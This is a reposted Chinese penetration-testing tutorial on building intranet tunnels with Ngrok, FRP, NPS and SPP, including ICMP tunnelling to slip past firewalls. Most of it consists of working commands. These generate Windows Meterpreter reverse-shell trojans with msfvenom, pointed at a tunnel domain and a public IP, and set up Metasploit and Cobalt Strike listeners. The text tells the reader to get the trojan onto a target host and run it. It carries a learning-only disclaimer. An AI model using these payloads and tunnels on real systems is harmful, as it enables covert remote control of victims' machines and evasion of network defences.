一文读懂内网穿透| 隧道穿透的搭建从简单到高阶_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

一文读懂内网穿透| 隧道穿透的搭建从简单到高阶

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


一文读懂内网穿透| 隧道穿透的搭建从简单到高阶

文章目录1、内网穿透-Ngrok 1.1、服务端配置: 1.2、客户端连接服务端: 1.3、客户端生成后门配置监听:2、内网穿透-Frp 2.1.服务端 2.2.控制端3、内网穿透-Nps -服务端: -客户端:4、内网穿透-Spp 4.1、服务端: 4.2、客户端: 4.3、CS 1、内网穿透-Ngrok https://www.ngrok.cc/ 支持的协议:tcp、http、https 支持的类型:正向代理、反向代理 1.1、服务端配置: 开通隧道-TCP协议-指向IP和端口-开通隧道-连接隧道 可以自行花点小钱去购买,也能用免费的,不过大部分免费的都不能用 (tcp协议隧道↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑) (http协议隧道↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑) 1.2、客户端连接服务端: ./sunny clientid 151559380722 #控制端连接Ngrok的服务器 ./sunny clientid <此处的隧道ID为上所开通的> 1.3、客户端生成后门配置监听: (注意根据你的协议不同。生成木马reverse_ 后面协议需要相应改变) 1.生成木马msfvenom -p windows/meterpreter/reverse_http lhost=yeye.gz2vip.91tunnel.com lport=80 -f exe -o httpNgo.exe #如果是tcp用他给你的端口。http协议默认80端口即可  2.开启监听use exploit/multi/handlerset payload windows/meterpreter/reverse_httpset lhost 0.0.0.0set lport 8888 #注意此处端口填的在开启隧道时所提供的端口 run 2、内网穿透-Frp https://github.com/fatedier/frp 控制主机在内网 通过隧道实现便捷控制目标主机frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。自行搭建,方便修改,成本低,使用多样化 2.1.服务端 --下载-解压-修改-启动(云主机记得修改安全组配置出入口) 服务器修改配置文件frps.ini: vi frps.ini[common]bind_port = 7000 启动服务端:./frps -c ./frps.ini 2.2.控制端 --下载-解压-修改-启动 控制端修改配置文件frpc.ini:---------------------[common]server_addr =服务器ip #服务端IP地址server_port = 7000       #frpc工作端口,必须和上面frps保持一致 [ssh]type = tcplocal_ip = 127.0.0.1local_port = 5555(本地接收的端口(用于msf监听端口)) # 8001remote_port = 6000(靶机木马连接vps端口) #6000端口(VPS)访问5555(攻击机)端口 9001---------------------上面配置涉及到的三个端口5288开通隧道访问端口转发规则 攻击机:5555 <-----> VPS:6000 <-----靶机 启动客户端:./frpc -c ./frpc.ini [msf] 1.木马制作msfvenom -p windows/meterpreter/reverse_tcp lhost=139.9.216.32 lport=6000 -f exe -o frp.exe  2.上线use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 5555exploit 木马上线即可 实操步骤 服务器端配置frp端口 然后执行 ./frps -c ./frps.ini 客户端frpc的配置 执行客户端命令 ./frpc -c ./frps.ini 执行了就成功与服务器连接了 接下来生成木马,端口是以6000,ip是服务器的ip msfvenom -p windows/meterpreter/reverse_tcp lhost=服务器ip lport=6000 -f exe -o frp.exe 为的就是用木马在对方内网主机以6000端口发送给服务器 msf开启监听模块 use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 5555exploit 用手段把木马上传到内网主机,然后执行木马 上线 3、内网穿透-Nps https://github.com/ehang-io/nps nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。 -服务端: 3.1、启动 ./nps install ./nps http://IP:8080/ 账号/密码 admin/123 3.2、创建客户端,生成密匙 3.3、添加协议隧道,绑定指向 点击页面隧道进行添加 远程绑定5566,指向本地6666 -客户端: 1、连接服务端: 执行上面的命令 2、生成后门: msfvenom -p windows/meterpreter/reverse_tcp lhost=服务端ip lport=服务端的端口 -f exe -o nps.exe 3、监听后门: use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 6666 run 把生成的木马上传上线 4、内网穿透-Spp https://github.com/esrrhs/spp 支持的协议:tcp、udp、udp、icmp、http、kcp、quic支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。 4.1、服务端: --监听本地的icmp数据 ./spp -type server -proto ricmp -listen 0.0.0.0 4.2、客户端: 此处的客户端在靶机运行 spp -name "test" -type proxy_client -server 192.168.146.162 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp spp -name "test" -type proxy_client -server 服务器的ip -fromaddr :客户端木马端口 -toaddr :服务器端木马端口 -proxyproto tcp -proto ricmp 如果显示info则表示spp隧道已成功上线 4.3、CS 监听器A:服务器ip 8081(接收数据的端口) 监听器B:http 127.0.0.1 8082(木马在客户端本地发送数据的端口) 生成后门:监听器2 生成B木马上线为A监听器 本文作者:知秋的逆袭之路, 转载请注明来自FreeBuf.COM 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

一文读懂内网穿透| 隧道穿透的搭建从简单到高阶